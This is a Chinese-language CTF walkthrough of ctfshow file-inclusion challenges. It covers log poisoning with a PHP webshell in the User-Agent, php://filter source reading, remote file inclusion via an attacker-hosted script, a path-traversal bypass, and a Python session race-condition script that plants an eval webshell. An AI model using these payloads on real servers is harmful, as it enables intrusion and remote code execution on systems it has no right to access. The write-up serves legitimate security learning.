本文针对文件包含漏洞的利用与绕过技术进行了系统性总结。文章涵盖日志文件包含、利用php://filter伪协议读取源码、远程文件包含(RFI)、路径遍历突破以及临时文件包含等核心模块。
- 各部分结合漏洞成因与底层代码分析,详细阐述了相应的绕过方法与测试思路。该文档可作为网络安全从业者及CTF选手进行漏洞研究与复现的参考材料。
文章目录
日志文件包含
适合纯新手入门使用,难度极低。
这里我们打开网页,得到如下页面:

这里随便输入一个命令/etc/passwd ,看看结果:

这里还想尝试访问其他的文件夹,但是提示" Warning include(/root): failed to open stream: Permission denied in "

没有权限进入;
原因: Web 服务(如 Apache、Nginx)通常以低权限用户(通常是 www-data 或 nobody)运行。
绕过方法
这里既然没有权限访问其他文件,所以需要将目标转向 Web 服务用户具有读取权限的日志文件 或其他系统文件:
常见的日志文件路径如下:
- Apache:
/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access.log
- Nginx:
/var/log/nginx/access.log/var/log/nginx/error.log
- SSH 日志 (如果开放了 SSH 且权限配置不当):
/var/log/auth.log/var/log/secure
经过尝试,成功在Nginx服务的access.log日志里发现我们的操作记录:

所以这里尝试输入一句话木马,记录到日志里(通常是修改UA头):
bash
User-Agent: <?php system($_POST['cmd']); ?>
发送该请求。服务器处理后,这段 PHP 代码会作为一条普通日志记录被直接追加写入 /var/log/nginx/access.log
随后使用 Burp Suite 重放请求,假设原本用于传递文件路径的 POST 参数名为 file,构造payload如下:
bash
file=/var/log/nginx/access.log&cmd=id
成功返回结果:

随后输入命令查找flag文件:
bash
file=/var/log/nginx/access.log&cmd=find / -name "*flag*"
得到路径:/var/www/html/flag.php

查看结果即可:

php://filter读取源码
这一关与命令执行的关卡有点像:命令执行web34-37

既然是差不多的,那就尝试一下相应的payload:
bash
php://filter/read=convert.base64-encode/resource=flag.php
但是并没有成功,换成普通的/etc/passwd 文件,一样查询失败:

难道代码错了?再尝试一下默认页面:index.php
bash
# 相应payload
file=php://filter/read=convert.base64-encode/resource=index.php
得到结果:

进行base64解码后,页面核心代码如下:
bash
<?php
include "db.php";
function validate_file_contents($file) {
// 校验正则:若包含字母、数字、斜杠、加号、等号之外的字符,则返回 false
if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
return false;
}
return true;
}
try {
// 1. 输入路径过滤
if (preg_match('/log|nginx|access/', $_POST['file'])) {
throw new Exception('Invalid input. Please enter a valid file path.');
}
// 2. 文件读取(注意:这里使用的是 file_get_contents 而非 include)
ob_start();
echo file_get_contents($_POST['file']);
$output = ob_get_clean();
// 3. 输出内容过滤
if(!validate_file_contents($output)){
throw new Exception('Invalid input. Please enter a valid file path.');
}else{
echo 'File contents:';
echo '<br>';
echo $output;
}
} catch (Exception $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?>
代码分析
-
漏洞类型变更 (Arbitrary File Read):
核心执行函数是
file_get_contents(),而不是include()。这意味着传入的路径对应文件仅会被当作文本读取,即使写入了 PHP 恶意代码,也无法被 PHP 引擎解析执行。 -
双重过滤机制:
- 输入路径黑名单 (
preg_match('/log|nginx|access/', ...)): 明确封堵了读取常规日志文件的路径。 - 输出内容白名单 (
validate_file_contents): 这是导致读取/etc/passwd失败的根本原因。 - 该正则
/[^a-zA-Z0-9\/\+=]/限制了读取到的文件内容 中只能包含a-z,A-Z,0-9,/,+,=。/etc/passwd内容中包含冒号(:)、换行符(\n)等符号,直接触发了拦截。
- 输入路径黑名单 (
绕过方法
结合代码顶部的 include "db.php";,当前的解题目标大概率是读取 db.php 的源码以获取 Flag 或数据库凭证。
为了绕过 validate_file_contents 对文件内容的严格校验,利用 php://filter 将目标文件在后端读取时进行 Base64 编码,编码后的字符串完美契合正则白名单,即可成功回显。
所以正确payload如下:
http
file=php://filter/read=convert.base64-encode/resource=db.php

将获取到的 Base64 字符串进行解码,即可得到完整的源代码。

远程文件包含(RFI)
适合纯新手入门使用,难度极低。
打开页面如下:

随后测试了一下文件目录,发现存在权限鉴别(也有可能是文件白名单):

访问成功的情况如下:

并且发现是GET传参:

漏洞原理:
- RFI 核心机制与前提 RFI 的生效前提是目标服务器的
php.ini中同时开启了allow_url_fopen = On与allow_url_include = On(PHP 5.2 及以上版本默认 Off)
尝试利用上一关的PHP伪协议,进行绕过但还是失败了:
bash
# <?php system($_POST['cmd']); ?> 编码结果
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfUE9TVFsnY21kJ10pOyA/Pg==
结果如下:

漏洞原因
当一段代码看起来像下面这样,且没有做任何过滤时,RFI 就诞生了:
bash
<?php
// 从 URL 获取文件名,例如 ?path=home.php
$file = $_GET['path'];
// 直接引入并执行该文件
include($file);
?>
攻击者会把参数替换为自己服务器上的恶意脚本:
?path=http://attacker.com/shell.txt
如果 shell.txt 的内容是 <?php system('ls'); ?>,受害服务器就会下载并在本地执行这个 ls 命令
绕过方法
在公网服务器上放一个 1.txt,内容为:<?php system('ls /'); ?>

确认其具备 RCE(远程命令执行)能力;
随后修改1.txt的命令,分别执行:
bash
# 确定flag的位置
<?php system('find / -name "flag*" 2>/dev/null'); ?>
# 查看flag内容
<?php system('cat /var/www/html/flag.php'); ?>

成功得到结果:

路径遍历突破
适合纯新手入门使用,难度极低。
打开页面,得到提示:目标flag文件为/flag.txt

随便测试一下,发现做了过滤:

代码分析
然后这里查看一下页面的源码index.php,对其进行分析:
php
<?php
if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}
#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}
echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>
</div>
</div>
<div class="footer">
<span>⚡ Powered by <a href="https://ctf.show" target="_blank">ctfshow</a></span>
</div>
</div>
- 黑名单过滤 :
preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path)- 封杀了常见的伪协议:
data://、php://filter、zip://等。 - 关键点 :它过滤了冒号
:。这意味着无法使用任何协议 ,包括http://
- 封杀了常见的伪协议:
- 路径开头限制 :
preg_match('/^(\.|\/)/', $path)- 禁止以
/(根目录)开头。 - 禁止以
.(当前目录或../穿越)开头。
- 禁止以
- 函数调用 :使用的是
file_get_contents($path)。- 这是一个文件读取函数,它不会像
include那样执行 PHP 代码,只会把文件内容读取出来并显示。
- 这是一个文件读取函数,它不会像
绕过方法
这里首先尝试绕过正则过滤 :在 path 前加了一个空格(%20)
bash
?/path=%20/flag.txt
结果如下:

虽然绕过了正则,但是file_get_contents 会尝试寻找一个文件名叫"空格 + flag.txt"的文件。显然,根目录下没有这个文件,所以提示 No such file
网上WP
构造payload:
bash
a/../../../../../../../flag.txt
这是因为:正则 ^(\.|\/) 只防开头,不限制中间的 ../ 而 file_get_contents() 则会自动解析相对路径中的 ..

又学到一招,也是第一次遇见。
--
临时文件包含
打开页面如下:

测试一下,发现可以正常输入;
并且 /tmp 目录也可以访问(可能此时并没有文件):

但是如果想要查看具体的文件内容就会被拒绝:

绕过思路
测试临时目录,需要确认 /tmp/ 目录本身是否被拉黑:
输入任意一个不存在的临时文件:/tmp/sess_flag123

说明 /tmp/ 目录和 sess_ 前缀都没有被 WAF (Web 应用防火墙) 拦截;
接下来的思路:"
Session 包含 + 条件竞争"
- 既然能包含 /tmp/ 下的文件,我们就可以利用 PHP 的 Session 机制强制在 /tmp/ 目录下生成一个包含我们恶意代码的临时文件;
- 并在它被系统自动删除前,迅速包含它
创建的代码如下:
bash
import requests
import threading
# 1. 替换成题目的真实 URL
url = 'http://xxx.challenge.ctf.show/'
# 2. 我们要写入的 Session ID,PHP 会自动在前面加上 sess_
session_id = 'ctfshow'
# 3. 核心 Payload:利用 file_put_contents 在网站根目录写入一个名为 shell.php 的一句话木马
# 为什么要写文件?因为直接执行 eval 的话,成功率受竞争时间影响,写个文件出来更稳。
payload = '<?php file_put_contents("/var/www/html/shell.php", "<?php eval($_POST[1]);?>"); echo "SUCCESS_SHELL";?>'
# 线程事件,用于在成功后停止所有线程
event = threading.Event()
def write_session():
"""不断发包,迫使服务器生成带有 payload 的 session 文件"""
while not event.is_set():
# 发送一个随便捏造的 txt 文件,触发 Upload Progress
files = {'file': ('test.txt', 'a' * 1024)}
# 写入 payload
data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}
# 携带我们指定的 PHPSESSID
cookies = {'PHPSESSID': session_id}
try:
requests.post(url, files=files, data=data, cookies=cookies)
except:
pass
def read_session():
"""不断尝试包含那个刚刚生成的 session 文件"""
while not event.is_set():
# ★★★ 注意:这里的 payload 字典需要根据你抓包的结果修改!★★★
# 假设题目通过 POST 方式的 'filename' 参数接收路径
post_data = {'filename': f'/tmp/sess_{session_id}'}
try:
res = requests.post(url, data=post_data)
# 如果在返回的页面中看到了我们 payload echo 的特征字符串,说明竞争成功!
if 'SUCCESS_SHELL' in res.text:
print("\n[+] 包含成功!木马已写入!")
print(f"[+] 请使用蚁剑或 HackBar 访问: {url}shell.php ,密码为: 1")
event.set() # 停止所有线程
except:
pass
if __name__ == '__main__':
print("[*] 开始条件竞争,请耐心等待...")
# 开启 10 个写文件的线程
for i in range(10):
threading.Thread(target=write_session).start()
# 开启 10 个读(包含)文件的线程
for i in range(10):
threading.Thread(target=read_session).start()
得到结果:CTF{fileupload_temp_file_include_success}
(需要点运气,多刷几次)

总结

期待下次再见;